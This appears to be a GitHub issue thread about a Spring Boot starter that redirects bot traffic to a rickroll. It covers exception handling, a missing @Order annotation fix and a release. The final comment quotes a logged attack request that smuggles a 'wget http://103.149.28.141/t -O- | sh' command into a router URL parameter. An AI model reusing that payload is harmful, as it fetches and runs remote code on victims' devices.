Can't rickroll when RequestRejectedException is thrown

[tschuehly]

My wordpress guys can't formulate proper URLs:

The request is rejected before the filter and the rickroll is not applied.

I've tried adding an ExceptionAdvice but Spring routes to the /error endpoint before the Exception is caught

    @ExceptionHandler(RequestRejectedException::class)
    @ResponseBody
    fun handleRequestRejected(e: RequestRejectedException, response: HttpServletResponse) {
        response.sendRedirect("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
    }

Thanks for the report! Will look into this.

@tschuehly found the issue, simple missing @Order annotation on the Filter. I do have some issues with my release setup, so it'll be for tomorrow morning.

@tschuehly: This has been included in a new release: https://github.com/TomCools/rickroll-security-spring-boot-starter/releases/tag/v3.2.1.

I'll close this ticket once you've confirmed it works for you as well ;)

Hey @TomCools the fix works!

It doesn't apply if tomcat catches the request because of an invalid character. This one clogs my logs aswell 😔

java.lang.IllegalArgumentException: Invalid character found in the request target [/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) ]. 
The valid characters are defined in RFC 7230 and RFC 3986
